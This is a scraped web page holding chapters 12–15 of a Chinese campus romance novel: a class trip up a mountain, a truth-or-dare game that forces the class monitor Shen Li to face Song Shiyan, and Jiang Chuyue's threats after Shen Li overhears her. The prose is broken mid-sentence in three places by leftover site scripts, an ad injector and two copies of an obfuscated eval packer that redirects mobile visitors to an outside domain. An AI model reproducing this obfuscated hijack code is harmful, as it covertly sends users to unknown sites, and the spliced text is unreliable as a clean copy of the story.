沈梨察觉到蒋奇对江初月的敌意似乎很深,试探道:“怎么感觉...你好像很讨厌她?” 蒋奇耸了耸肩:“说不上讨厌,单纯看不上她为人而已。” 他指了指秦渊的方向:“那个人,她青梅竹马,认识十几年了,在追晏哥之前,她一直在追这个男的,没追到手,也不知道怎么就开始嚯嚯起晏哥来了。” 周薇就跟吃到了大瓜一样,倒吸了口凉气:“他俩还有这层关系呢,那宋时晏不知道吗?” 沈梨也有些紧张地看向了蒋奇。 人尽皆知的事,宋时晏会不知道吗,还是说他知道了,但也不在意这些过往? 12. 第 12 章 “知道,怎么不知道。”蒋奇无奈摊手,“但能有什么办法,我们也不能把刀架他脖子上让他别谈吧。” 沈梨彻底心死,升起的一丝期翼也都坠入深渊。 就在她双手发麻,有些握不住手中的AD钙时,周薇回头瞥了她一眼,呀了一声:“梨梨,你额头那怎么了?” 蒋奇顺着目光也看了过去,哟呼一声:“班长,你额头上咋黑一块白一块的,还有那鼻尖怎么也白了。” 嘴比脑子快,想也没想地就说了句:“是有那个什么白癜风吗?” “......”周薇一拳头大力抡了过去,给他摔得一个踉跄,“蒋奇,你有病吧!” 沈梨后知后觉抬手挡了下自己的脸,可能是刚刚擦汗没收住力,有的地方擦得重了点,她回神,也顾不上难过,拿过自己的包稍微解释了下:“涂了点黑色防晒,没涂均匀吧,我去补补。” 她走后,两人面面相觑,蒋奇还揉着被周薇锤过的地方:“还有黑色防晒这玩意?” 周薇也茫然摇了摇头,说不知道,随即想到什么,又恶狠狠的瞪了他一眼,做了个拱手作揖的手势:“我求你了,你这张嘴,要不会说话,就捐了吧。” 蒋奇自知理亏,没吱声,只是朝她龇了龇牙。 沈梨背对着他们往下走了几步,也没太远,就蹲在那,拿出遮瑕镜子补全了。 做完这些后,她还是蹲在那没动,心脏处密密麻麻地延伸出了一点痛意,沈梨感觉自己的喉咙被什么东西给黏住了,让她张不了嘴,说不了话。 又过了几分钟,周薇过来喊她,沈梨站起了身。 周薇小心翼翼观察着她的表情:“梨梨,你没事吧,蒋奇那人就这样,很喜欢嘴贱的,你要是还不开心,揍他一顿行不行。” 蒋奇也走了过来,给她赔不是,沈梨的眼眶有些热,她并不是在意那些话。 但这样的借口似乎给了她一点喘息的机会,沈梨的嗓音有些哑:“有一点难受。” 周薇这下彻底绷不住,眼刀子刮了蒋奇无数回:看你干的好事! 后半程,三人走在最后,也不敢说话,气氛沉闷的诡异,只有时不时的鸟叫声。 走在他们前面的是秦渊跟他女朋友,那个女生留着娃娃头,长得又小巧,就连说话声音都是甜甜的,很难不想到萌妹这个词。 “有点累了...”那个女生追不上秦渊的脚步,跟他撒娇。 秦渊回头看她,表情看不太出什么情绪来:“还能不能走,不然在这休息一会?” 女生摇了摇头:“怕跟不上进度。” 秦渊嗯了一声,又要继续走自己的时,女生还是忍不住说出了自己的诉求:“秦渊,你能不能拉着我的手走啊,我快没力气了。” 他笑了笑,握住了女生的手,将她往上拉了拉:“就这么离不开我?” 女生脸红了红,却是没说什么。 周薇看得咂舌,起了一身的鸡皮疙瘩,忍不住在心里腹诽,果然那些能谈恋爱的人,都不是什么凡人,这种肉麻的话,光是听几句,她都要受不了了。 自己累得跟狗喘一样,唯一的一个念头都是,想直接从这跳下去。 快要爬到山顶,一群人已经筋疲力尽,有的还不知道从哪里捡来了根粗壮的棍子,充当登山棍,原本叽叽喳喳的队伍,走到最后,异常安静,没有一个人说话,脸上都或多或少带着一丝痛苦的神色。 沈梨可能是小时候活做多了的原因,体质好一点,除了有点难受,并未感觉到痛苦。 距离这时,他们已经整整爬了4个半小时,从烈日当空爬到日暮西下,不远处,晚霞已经慢慢铺了过来,染得半空赤红一片,也有人驻足下来,拿起了镜头记录下这山上的美景。 江初月已经累得说不出话来了,她招了招手,从宋时晏身上取下了自己带来的包,又翻出里面的ccd。 让同行的朋友帮忙拍下了她和日落的美景合照。 有人叫嚷着让宋时晏一起拍,他靠站在一旁,摆了摆手:“你们拍。” 江初月撇了撇嘴,余光看到秦渊配合着他女朋友在拍照,想到他们全程没松开过的手,又有些冒火:“宋时晏,你过来呀,跟我一起拍下合照嘛。” 宋时晏不太爱入镜头,可能是青春期作祟,‘啧’了声:“不用管我。” 江初月看秦渊那恩恩爱爱的,那股子胜负欲上来,怎么也压不下去,也不管宋时晏愿不愿意,走过去拽着他的手就要拖过来:“拍嘛拍嘛。” 宋时晏平时脾气真挺好的,只是拍个合照,半推半就也就拍了吧,但刚爬完4个多小时,他现在只想落个清净,真不愿意还干这种不乐意的事。 挣了下她的手,有些冷淡道:“还拍吗,拍完了就继续走?” 江初月又生气了,负气地闷头往前走,她朋友跟在身后哄人,宋时晏有些筋疲力尽,挠了挠额角,黎荇凑过来勾住他肩膀看热闹,笑嘻嘻地:“晏哥,谈恋爱好玩吗。” 宋时晏懒得理他的调侃:“滚吧你,想知道,自己试试呗。” 黎荇立马夸张地做着表情:“这糟心的,狗都不谈。” 宋时晏忍无可忍踹了他小腿肚子一脚,忽明忽灭的落日余晖在他脸上徘徊。 黎荇腿脚酸软的厉害,龇牙咧嘴地跪了地,宋时晏又将他拉了起来,低声轻叹:“确实跟想象中的不太一样。” “那赶紧分呗。” “再看看。” 看什么呢,连他自己都说不上来。 晚霞彻底落幕,天边只剩下几朵灰白的云。 山顶上有很多小夜灯,连成一串串的,挂在灌木丛上,他们来得算晚的,能搭建帐篷的空地已经不多,无人说要休息的话语,直接开始了分工,男生搭帐篷,女生就在旁边准备待会要吃喝玩乐的东西。 又是忙活一小时左右,所有人已经累瘫,肚子也都争先恐后的咕咕叫了起来。 蒋奇跑去女生组那边看了一眼,弄得差不多了,连忙招呼大家一起来吃。 工具有限,也没什么好讲究的,就是跟野餐一样,随意在地上垫了一张红色格纹布。 上面摆放了很多他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们自己带来的卤味小吃,零食,也有刚刚去山顶小卖部那买的大把烧烤肉串,放在一个铁盘里,还冒着热气。 大家席地而坐,各自开了一瓶饮料,气泡水滋滋的声音在耳边循环,有人提议:“举一个吧,敬我们征服了枫柳山!” 在这一刻,那些不愉快的过往似乎都已经忘记,他们共同举杯,高喊‘青春万岁’,丝毫不在意他人的奇异目光,或许也会有人感叹一句:18岁,真是一个充满着自由的年龄。 沈梨的脸有点热,也有点红,在这样的氛围下,没有人的脑子不会亢奋。 尤其是,宋时晏和她之间只隔了一个人,刚刚举杯时,好像不小心碰到他的手了。 哪怕只是极小的一点皮肤接触,也足够让她心跳加速很久。 一轮美食吃完,‘餐桌’中间腾出一块空地来,放上一个空瓶子,有人从包里掏出一幅卡牌:“真心话大冒险,应该没有人不玩吧。” 沈梨吞咽下去一口气泡水,小呛了一下,抬手就要说退出,被旁边的周薇瞧见,手上的零食都没来得及往嘴里送,就连忙按住了:“梨梨,难得出来玩,你也放松放松呀,别老是看着我们玩,你也参与参与,感受一下。” 沈梨觉得她说的有一点道理,毕竟这荒郊野外,也不可能抱着本书出来啃,稍一思索,便同意了。 “我先说好啊,只能有一次自罚的机会,也不准撒谎骗人,我看了一眼,这卡牌里面的惩罚都没有很变态,肯定没有让大家很社死的,就这样,话说到前头了,别到时候玩不起又闹啊,哈哈哈哈哈,我们不兴这套。” 没人有异议,只有沈梨,听了这话后,颇为紧张。 她第一次玩,完全不知道这个游戏的底线会是在哪里,要是太过分,又或者太倒霉,总是转到她,还真不知道该怎么办,沈梨突然有点后悔了。 “开始了啊。” 瓶子飞速旋转,而后慢慢缓下来,像老驴拉石磨一样,一圈一圈缓慢地转着。 瞧着瓶盖好似要对着沈梨时,旁边的周薇已经激动地握住了她的手,下一秒,又悠悠地晃了过去,沈梨刚松了口气,就见那转过去的瓶子突然回弹,稳稳地对准了自己。 沈梨:“......” “呦吼!” 也许是常年冷脸不说话、不易接近、让人有距离感的原因,好多人逮着这个机会,纷纷都想知道沈梨内里到底是一个什么样的性子,欢呼了好一会后,才有人终于问起:“班长,你选真心话还是大冒险!” 沈梨舔了舔唇:“真心话吧。” 希望不会是什么很猎奇的问题。 瓶尾对着的那个人,给她从一堆精美的卡牌里,抽出了个问题。 那人先翻开自己看了一眼,眼睛瞪大,明显有些兴奋的意味,惹得旁人止不住的好奇,凑过去看那人还藏着不让看。 “什么啊,别卖关子了,快问!” 沈梨几不可闻地眼睫抖动了一下,不知道为什么,她有一种很强烈的直觉,那个问题—— “班长,现场有你喜欢的人吗!” 13. 第 13 章 预感成真,沈梨喉头被堵住,她无力地闭了闭眼。 在多双炽热眼睛的注视下,连往旁边瞟一眼的动作都不敢有,就怕被他们看出来什么,从而借题发挥,一切的埋藏都不会再是属于她一个人的秘密。 沈梨自罚了三杯气泡水,涨得想打嗝,虽然什么话都没说,但这更加确定了一个事实:班长喜欢的人的确在现场。 这无疑将气氛烘托到了最高潮,沈梨已经自罚一次,再没有可以自罚的机会,这意味这接下来,她不管是抽到了什么问题或是大冒险,都必须得如实照做! 他们之间你看看我,我看看你,看看谁最有可能,看来看去,觉得谁都有点配不上沈梨的喜欢,于是都有些跃跃欲试,恨不得赶紧下一轮,就想把沈梨的那个心仪对象给问出来是谁,瞧瞧是谁能得到沈梨的青睐。 从小镇上千军万马考上来的状元啊,分数一骑绝尘,人又有点清冷倨傲的性子,但待人做事都特靠谱,成熟得不像是一个高中生,于他们这些学渣而言,是个仰望不可及的存在,所以清楚闷头只知道学习的班长,也会有喜欢的人时,就好比那高不可攀的仙人下凡,接地气了。 江初月手中的纸杯子被捏得变了形,眯眼看着沈梨,也下意识环视了一圈在场的人,实在看不出她会喜欢谁。 就连周薇都有种当头一棒的感觉:梨梨...居然有喜欢的人? 蒋奇戳了戳她的手肘,难得对八卦感兴趣:“你知道是谁吗?” 周薇摇摇头,他又问:“那你觉得谁最有可能?” 周薇还是摇了摇头,他就一脸狐疑地看着:“不是自称班长最好的朋友,怎么连这个都不知道。” “最好的朋友咋了。”周薇烦得用手肘撞他,“人不能有自己的一点小秘密吗。” 第二轮转瓶子游戏继续,这回,倒是没转到沈梨,而是秦渊带来的那个女生。 她也选择了真心话,问题是做过的最糗的一件事,不痛不痒的。 沈梨想,怎么就没给她抽到这种问题呢。 接连转了几轮,都没有沈梨的事,她脑子逐渐放松下来,也没太投入进去游戏里,紧着自己边上的菠萝吃,酸酸甜甜的,视线里时不时闯进那双骨骼分明,强劲有力的手,昏黄夜光的衬托下,有什么情绪在心底疯狂滋长。 “哇吼吼,终于来了个好玩的了。” 他们一下子沸腾起来,沈梨被吓了一跳,牙签刚插上的菠萝都掉了下去,磕到塑料盒边缘,往旁边滚落,她下意识去捡,斜刺里也突然伸出只手来,两手轻撞了一下,沈梨感受到了皮肤上传来的一点热意。 那人似乎没什么反应,顺手扔到了一旁的垃圾桶里。 沈梨有些慌乱地收回了手,耳边还是他们经久不息的噪音,这次却夹杂了自己有些乱的心跳声,心脏悬起来时,旁边的周薇突然紧紧地挽住了她的手,半个身子都靠在了她的肩膀上:“妈呀,都这么放得开的么。” 沈梨回神,一抬眸,就看到了对面的秦渊正捏着自己的女朋友的下巴,轻轻地亲了一下她的侧脸,女孩脸红红的,后面一直没好意思抬起头来。 众人起哄,叫嚣着赶紧下一轮。 沈梨不知想到了什么,刚因为意外的接触而有些躁动不安的心,仿佛迎面被泼了一盆冷水,火焰被浇灭了,就在她手脚有些冰凉时,周薇轻轻晃了晃挽着她的手:“梨梨,转到你了。” “啊?” 不等她反应,与她对立着的人已经迫不及待去真心话惩罚卡牌那里抽卡了,沈梨艰难吞咽下去那点苦涩,开口:“我选大冒险。” 几人皆是一愣,也只得忍着八卦的好奇心,去大冒险那边抽卡,没了兴致,他们也抽的随意,拿了最面上的那张就开始念:“以大象摸鼻子的动作,闭眼转三个圈后,指定一个人,和被指的人不眨眼对视十秒后,说出‘我喜欢你’四个字。” “诶,这个好,这个好!” 他们越听越亢奋,沈梨的心便是越来越沉。 她轻蹙眉头,就有些想不明白了,怎么到了她,就全是这种问题。 想再次自罚三杯,被人提醒,已经使用过仅有的机会了,只能如实照做。 她在心里祈求,只要不转到宋时晏,谁都可以。 沈梨站了起来,反手摸鼻子,闭着眼睛,缓慢地转了三个圈后,脑子都有些晕眩,站不稳,周薇过来扶住了她,将她的手扶正:“梨梨,你指好了吗。” 闭眼前刻意记了位置,现在已然分不清东南西北,她凭着感觉,指了个方向。 被指的是个男生,他抿住了唇,居然会觉得有些紧张,这可是沈梨啊,全校第一,哪怕是假的四个字,估计也够他出去吹牛一阵了——大学霸和他表过白! 然后晚风一吹,沈梨的手有些晃,缓慢挪了个方向,被指的人也换了。 宋时晏眉头跳了跳,他还没什么反应,旁边的江初月先坐不住了要站起来,蒋奇眼尖,连忙高声喊:“班长,你确定好了吗,三秒倒计时啊!” 沈梨心一喜,幸而蒋奇出了声,至少可以先确认下他的方位,那么宋时晏的具体位置差不多也就能—— “时间到,班长,你可以睁开眼睛了!” “......” 沈梨睁开了眼睛,顺着自己手指过的方向,对上了宋时晏的眼,她恨不得重新再转一次,收回有些僵硬的手,沈梨没说话,她现在脑子有点空白。 或许是察觉到了沈梨有一丝僵硬的表情,宋时晏单手开了瓶气泡水,笑说:“我弃权,好吧,连通班长的一起罚了。” 沈梨的心脏一紧,江初月的脸色这才好看了点。 “愿赌服输。”蒋奇就喜欢看江初月不得劲的样子,“晏哥,老这么弃来弃去的有什么意思,都这么搞,那还玩什么,怎么,班长一个女孩子都没说什么,你一个大男人还玩不起啊,又没干什么,就是玩个游戏而已。” 黎荇也跟着加入嘲讽的阵营,只不过目标对准的是江初月:“不至于吧,校花这点都玩不起? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982357|148192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 江初月的胸脯起伏上下的,她哪里看不出来,宋时晏的这些兄弟就没一个看得上她的,平时不是挖苦就是各种嘲讽,目的不就是为了让她知难而退离开宋时晏。 他们越是这样,自己偏偏还要抓得更紧了,勉强扯出个笑来:“这跟我有什么关系,我说什么了吗,是宋时晏他自己不想玩。” 黎荇‘哦’了声,想要说话,宋时晏打断了他,眼神直直地看向沈梨:“同桌,你行么?” 要是不想的话,几瓶汽水,喝下去也就是频繁地上几次厕所而已。 沈梨不知道选择权怎么突然一下子就交到了自己手上,她刚才正心塞地看着热闹呢。 有一瞬的懵,随即是反应过来他那个称呼,心中的火焰又死灰复燃了。 只犹豫了一秒,她便点了下头,有些郑重其事道:“行。” 所有人都以为的小游戏,其实是沈梨不敢说出来的表白。 位置没有变动,中间仍旧隔着一个人。 蒋奇一只手横在他们视线中间,沈梨想到要发生的事,紧张地舔了下唇。 黎荇很热情地在旁边问道:“班长,晏哥,你们准备好了吗!” 两人异口同声:“嗯。” 中间的阻碍刹那间撤去,沈梨就那么猝不及防地对上了宋时晏黑亮的眼睛,她如往常一样,只敢瞥一眼,就要慌乱的挪开,恍惚间,又反应过来,这是在做游戏,她和宋时晏足足得对视十秒。 ‘噗通、噗通’,心跳快得好像要爆炸了。 天地间,好像只剩下他们二人,只有眼里的彼此,再无他人。 沈梨脑子发烫,耳朵嗡嗡地叫,鼻也尖开始发酸,她咬住了唇,极力遏制住了想要哭的冲动。 宋时晏... 现在的你,会觉得自己过得很开心吗。 宋时晏本来以为10秒不眨眼而已,这就是个很简单的挑战,等真的上场了,才知道坚持3秒都难,他努力地瞪大了眼睛,没一会儿就开始发酸,注意到沈梨的眼睛也雾蒙蒙的,再一次在心中感叹,这10秒什么时候过得这么慢了。 “梨梨,梨梨...”十秒到了,看着沈梨呆愣的模样,周薇觉察出什么,连忙小声提醒,“该说词了。” 沈梨从惊诧中回神,眨了下眼睛,已然有些湿润,她连忙撇开了眼,只快速地说出了‘我喜欢你’四个字,便撤到一旁开始揉眼睛,宋时晏也在揉,就在这时,不远处突然传来一丝骚动:“流星雨要来了!” 来山顶的目的本就是为了看流星雨许愿,这下,所有人都坐不住了。 一个接着一个的起身,跑去前方的好位置坐着,开始等待起第一颗流星的瞬逝。 江初月因为刚刚的事,还在和宋时晏闹脾气,不愿意和他坐一块,他也没强求,勾着黎荇的肩膀往前方走。 无意往旁边侧头,看到了江初月正拉着秦渊在说话,完全忽视了旁边的那个短发女生,他轻轻地皱了下眉,总觉得这样的画面有些奇怪。 14. 第 14 章 流星雨降临,天光乍现,明亮如白昼。 陡峭的悬崖边上站了很多信徒,他们双手紧握垂直于胸口,闭着眼睛,虔诚地低下了头,各自向虚空里的神明诉说着自己小小的心愿。 沈梨说希望宋时晏活得自由快乐,不止现在,更是未来。 - 夜深,喧闹的山顶慢慢安静下来,逐渐没了声音。 沈梨被分到和周薇以及秦渊女朋友一个帐篷,想到对视的那十秒,仍是有些心脏发紧的一种激动,她翻来覆去的睡不着,强迫自己闭着眼睛,入睡了许久,也没能成功,反而在温暖的睡袋里,躺的有些燥热。 沈梨小心翼翼拉开了帐篷拉链,又小心合上,跟做贼似的往悬崖边那边走去,打算吹吹冷风冷静一下。 悬崖边上很多可以倚靠的大石头,沈梨还在挑选着哪块坐着会舒服一点,就听到了有人在压着声音说话,她的脚步一顿,真的没有偷听的癖好,是对方的声音主动钻到她耳朵里的。 “你来真的?”江初月吃味道,“爬个山,都要牵着她的手,有那么宝贝吗。” “嗯,她挺乖的。”秦渊的声音。 沈梨:“.......” 又是这两人,她怎么永远都能找到这两人说悄悄话的现场啊! “那我呢,秦渊,你真的对我一点感觉都没有吗...”江初月咄咄逼问,“你知道的,我喜欢的只有你,我不喜欢宋时晏,可他家境好,对我又大方,舍得为我花钱还很听话,我没法放手。” 秦渊嗤笑了声:“谁让你放了,好好跟他谈着,我跟我女朋友也挺好的,从此互不干扰就成。” “秦渊!你一定要这么跟我说话吗?!” 秦渊刚想开口,沈梨罕见地有些忍不住,站了出来,两人皆是被吓了一跳,回头看她。 沈梨先是礼貌的道了歉:“实在抱歉,不是有意偷听你们说话,也并非想打扰你们,只是想插嘴一句——” 沈梨面无表情,义正言辞道:“要真的很纠结彼此的关系,我可以上报给教导处,让老师来开导你们。” “.......” 秦渊一声不吭,没有犹豫地转身就走。 沈梨也吹不下去冷风了,心情乱七八糟的,反而比刚才还要差,江初月那是什么话,完完全全的把宋时晏当做备胎了吗,对她而言,宋时晏只是一个随时可以取钱的行走atm机? 自己放在心尖尖上,一点也不敢冒犯的人就这么被人糟践,还真是有点压不住心中的怒火,险些失态。 她刚走出一步,江初月就追了上来,攥着她的手腕,有些紧张道:“沈梨,你要向老师去告状了吗?” 沈梨公事公办的口吻:“这是老陈交代给我的任务。” “能不能别说。”江初月有些慌神,“什么条件我都可以答应你,只要你别去跟老师说。” “抱歉。” 沈梨说:“之前有句话我说的不对,你不是人品有问题,你该是三观有问题,连最基本的忠诚都做不到。” 一股怒意堵在心上,沈梨真的很想畅快地发泄出来,可那实在太容易露馅了,暴露了自己的心思,没有一点好处,江初月一定会借此大做文章。 尤其是现在的宋时晏,会没有脑子地站在江初月那边,这对她来讲,又会是一个打击,所以只能忍。 忍到这个‘傻子’自己有一天会发现,江初月一直在欺骗他的感情。 江初月还在混淆概念:“我跟他什么都没有啊,我们只是认识而已,跟朋友出来聊个天都不行了吗。” 沈梨淡淡道:“真是这样,你心虚什么,好好跟老师解释清楚,没有人会错怪你们的。” “可要是你去说,老师怎么会怀疑话的真假!”江初月有些奔溃,“沈梨,我知道你讨厌我,可你也没必要这么针对我吧,我又没欺负过你。” 沈梨猛地刹住了脚步,握紧了拳头。 可你欺负了宋时晏,还将他当傻子一样的玩弄! “很早之前,我已经提醒过你。”沈梨说,“你应该知道我的性格,对这种明显违纪的事,会放任不管,我只是个学生,也怕会被老师骂。” 其实按照以往,她不会解释这么多的,说了就说了,又何必给一个说服自己的理由,归根到底,是因为扯到了宋时晏,所以让沈梨乱了阵脚。 她总是担心,会被人发现,自己带了私心,从而想要解释得官方一点,可恰好正是因为这样,让江初月起了疑心。 在快要踏进帐篷里时,背后不轻不重,带着试探的一句话:“沈梨,你喜欢宋时晏吧。” - 第二日清晨,空气里还沾着露水,沈梨一行人就已经被吵醒,再也睡不下去,将租的帐篷收好还了回去,每个人脸上都带着大大的困意。 日出时刻,风景甚美,江初月忽而拉着人一起站在朝阳背光处,拍合照,记录下他们的青春瞬间,控制缆车的工作人员还没来,索性没有事做,他们都非常配合。 江初月拉着宋时晏一起,挽着他的手:“快,给我们多拍几张!” 沈梨在一旁安静的看着,莫名地有一种不安感,果不其然,下一秒,江初月朝她招了招手:“沈梨,你也过来呀,跟我们一起拍。” 宋时晏下意识站直了身子。 沈梨没动,周薇小声地提醒:“梨梨,你不去拍几张嘛,留个纪念也是好的。” “我——” 蒋奇将她往外推了推:“班长,去吧,就你没拍了。” 他们似乎并不觉得这有什么,每一个人都在专心致志地干着自己的事,沈梨抿了抿唇,这才往他们的方向走去。 江初月站在中间,笑着揽住了她的胳膊:“沈梨,你不觉得开心吗,笑一笑呀。” 沈梨小脸紧绷,抿着唇,目光直视着镜头,留下了一张颇为严肃的三人合照。 江初月走了出去:“给他们拍几张同桌合照吧。” 沈梨站在那,还是没动,两只手搅弄在一起,自然垂在身前,她有些局促,目光不知道放哪,偶然听到周薇在旁边大声:“梨梨,你笑一下,放松,别紧张。” 好像真的没有人觉得他们拍二人合照有多么的奇怪,是自己想的太多了吗,为什么连最基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982358|148192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本的站姿都站得那么不自然。 有人让他们摆个pose,沈梨听不见,宋时晏是不敢冒犯,规规矩矩站在她旁边,老实得跟兵一样,他几个兄弟都快笑死了,前仰后倒的。 “晏哥,你能不能主动一点,跟班长商量下摆个什么帅气的pose啊,就这么直愣愣地站着有什么好看的。” 江初月好像看不下去一样,走上前,莞尔笑:“你俩中间隔得都好像有一条河了,宋时晏,就拍几张,你离班长近点呗,拍好看的,放心,我不会生气。” 宋时晏皱着眉头,总觉得今天的江初月有点奇怪,不等他反应过来什么,江初月已经抬起他的胳膊待在了沈梨的肩膀上。 他吓一跳,下意识撤了:“干什么?” 不知道这样很不礼貌么。 沈梨的心却是一紧。 江初月笑嘻嘻:“你搭着,好出片。” 宋时晏淡淡说:“就这么拍吧。” 离开时,沈梨听见了江初月若有若无、轻飘飘的一句话:“沈梨,这怨不了我,我已经很努力在帮你了,你也看到了,他应该挺烦你这种人的。” 沈梨神情没什么变化,前方拍照的人做了个手势,她努力扬起了一个笑容,哪怕是他的不情愿,但这也是他们真正意义上的第一张合照。 摄影师抓拍了很多张他们的合照,主要是宋时晏的颜值太出众,他只是漫不经心随意地站在那,就有种慵懒帅哥的气质,极其的有故事感。 尤其是穿着酷酷的黑色冲锋衣,整个人又拽又痞的,偶尔几张还是那种居高临下的眼神,俯视着镜头,侵略感十足。 而他身边的女孩,便稍显得拘谨了一些,全程基本都是那个乖巧的站姿,穿着同款黑色冲锋衣,扎着高马尾,脸被晨风吹得有些红。 巴掌大的小脸,几乎都被那厚重的刘海以及黑框眼镜给吸引了视线,偶尔有几张,会露出非常乖的笑容,看着有几分憨态可掬的模样。 啧,摄影师突然感叹,要是这两人能再有些互动,就更完美了,不过嘛,遗憾是常有的事,未来有机会,再重新拍一组就是了。 - 那天在山顶,江初月说了那句话之后,沈梨是以沉默应对的,她不知道,江初月会怎么做,也开始在假设,若是真的,宋时晏知道了的话,她该如何自处? 同桌是不能当的了,太尴尬,得找个理由去和老陈说,但他被江初月骗的事,还是得找个机会去告诉他。 周一,沈梨纠结了两节课,不打算等江初月出击了,她起身,打算如实跟老陈说,但在路上,被人给堵住了。 “你还是打算要去告状吗?” 沈梨纠正:“阐述事实。” “你预备怎么说?”江初月步步逼近,“说我早恋还是骗钱还是说什么?” 沈梨眉头轻蹙:“如实说,真相是什么,我便怎么说。” “好啊。”看她油盐不进,江初月破罐子破摔,“你说吧,你前脚去告状了,我后脚就去跟宋时晏说你喜欢他,嫉妒我和他在一起,要把我们拆散。” “你觉得他会信你还是信我。” 15. 第 15 章 如果、宋时晏知道了自己喜欢他。 他不会有过多的反应,只会为了维护她那点自尊心,当做不知情。 却会在平常相处时,刻意和她保持距离,或许也会去和老陈说换位置的事。 沈梨非常不喜欢这种,虚假的客气。 但更讨厌被人威胁,这种事,在她看来,很幼稚。 她半个字都没说,想明白了,就越过江初月继续往前走。 江初月终于有了丝危机感,难道她的猜测错误,沈梨喜欢的并不是宋时晏? 可那晚沈梨的反应作不得假,听到时,有被戳中心思的一瞬惊慌,虽然很快就被掩盖了过去,江初月上前拽住了她的手腕:“沈梨,跟你做个交易,行么。” 沈梨没耐心听她的诡辩。 江初月追在她身侧,边走边说:“这周六,我帮你约宋时晏出来,你不去告发我,而且,我会尽快跟他分手,帮你追他的,行吗?” 沈梨的脚步越来越快,再次刷新了对江初月的认知,原本可以说是夹杂着一些私心,现在反而觉得自己可能是为民除害了。 江初月发信息的手按得飞快,在即将踏入那栋教学楼时,她说:“沈梨,我已经给他发信息了,他答应了,那天我不会去的!” “......” - 最后3秒,沈梨踩着点进了教室,身后跟着眉头就没松开过的江初月,她有点心不在焉,往过道里走时,腰部还撞到了第一排课桌的桌角,弄出不小的声响。 宋时晏就坐第三排,和蒋奇在聊天,闻言,看了眼。 江初月眼睛红红的,看着好像哭过,他微微一愣,发生什么事了? 上课铃在这时响起,有再多疑问,也只能下课再去问了。 明明是做了一件正确的事,沈梨却莫名心慌,也许是因为一点私心的心虚,如果不是她非得多管闲事,宋时晏是不是就不用面对接下来发生的事。 他知道了的话,会怪自己么,还是会非常的讨厌她啊... 整节课,她都不在状态,黑板上的字,沈梨看不进去,还是第一次出现这种情况,生物老师出了个难题,没人回答得上来,他蹙眉,将希望寄托在了沈梨身上。 “沈梨?沈梨?” 连叫了好几遍,沈梨都没有反应,所有同学都默契地望向最右边,第三排的位置,感到非常的震惊:班长也有不听课的时候? 周薇担心地回了头,她和沈梨坐得是斜对角的位置,眼看着生物老师绷着一张吓人的脸,走下了讲台,忙矮下身子,悄悄推了推沈梨桌上那摞得很高的书本。 就连宋时晏也有些惊讶沈梨的走神,漫不经心、演技拙劣地将都没摊开的生物书给扔在了地上,借着弯腰捡书时,低声在她旁边提醒:“老师来了。” 后桌的也下意识踢了踢沈梨的椅子,弄出声响,所有人都在用着自己的办法提醒着她,终于,生物老师走在她桌前,手指屈起,扣了两下。 沈梨放空的思绪终于彻底收回,她站起,唇色发白:“对不起,许老师。” “下课来趟办公室。” 下课铃响,周薇忍着好奇的心思,目送沈梨跟着许老师离开了教室,她摩挲着下巴琢磨:“梨梨这是怎么了,从来没见她上课走过神啊。” 蒋奇耸了耸肩,找了个舒服的姿势趴在桌上,睡觉:“谁知道呢,可能班长突然想写检讨了。” 周薇无语地翻了个白眼。 下节课体育,老师有事提前说了改自习,她美滋滋地就要从桌肚里拿出没看完的小说出来打算看个够,旁边的窗户突然就被扣了几下。 她回头,看到出现在走廊上的老陈,吓得不敢动作,连忙将书往桌肚里塞,看着宋时晏将窗户打开,心道完了完了,刚新买的小说,还没看完呢,不会就要发现被没收了吧。 却见她神色异常的严肃:“宋时晏,叫上江初月,一起来我办公室。” 老陈脸色不是一般的难看,宋时晏点了头,似有所感,回头看了眼江初月,她已经站了起来,好像早就知道会被叫过去。 “我们的事,被发现了?” 路上,宋时晏悄声问着江初月。 江初月不知道沈梨到底在想些什么,告发对她有什么好处么,都说了自己会跟宋时晏分开,帮她追人,为什么还是这么的紧抓着她不放。 江初月快恨死沈梨了,把她原本有条不紊的生活搅弄得一团乱麻,她有些烦躁地‘嗯’了声。 宋时晏有些意外地扬了扬眉:“我们平常很明显么,怎么这么突然。” 在他看来,这些并不算什么事,叫他爸妈过来,也不过是挨顿骂。 “你不知道吗?”江初月故意说道,“是有人告发了我们。” “....谁?” “还能是谁,沈梨呗。”江初月说,“她急着去老陈面前邀功,哪会管我们死活。” 她快烦死了,要是老陈叫家长,不知道该怎么给应付过去。 宋时晏抿唇,对这话没评价,就是不禁在想,班长这么一个不爱管闲事的人居然都忍不住跑去告发了,这是得有多讨厌他? - 老师办公室。 沈梨低头,再次道歉:“对不起,许老师,不该在课上走神的,没有下次了。” 许老师抿了口刚泡好的茶:“沈梨,是最近发生了什么事,影响到你了?” 沈梨想了想,觉得的确是,便点了点头。 许老师便有些语重心长道:“你现在首要任务是学习,其他的事能不想就不想。” “有什么解决不了的事,就跟老师说。” 沈梨愈发有些愧疚起来,老师对她用心栽培,自己却因为一些无关紧要的事而扰乱了心神:“谢谢许老师,我很快就能调整好。” “嗯,下不为例啊。”许老师笑了笑,对好学生总是多那么点宽容,“这次就先不罚你了。” “谢谢老师。” 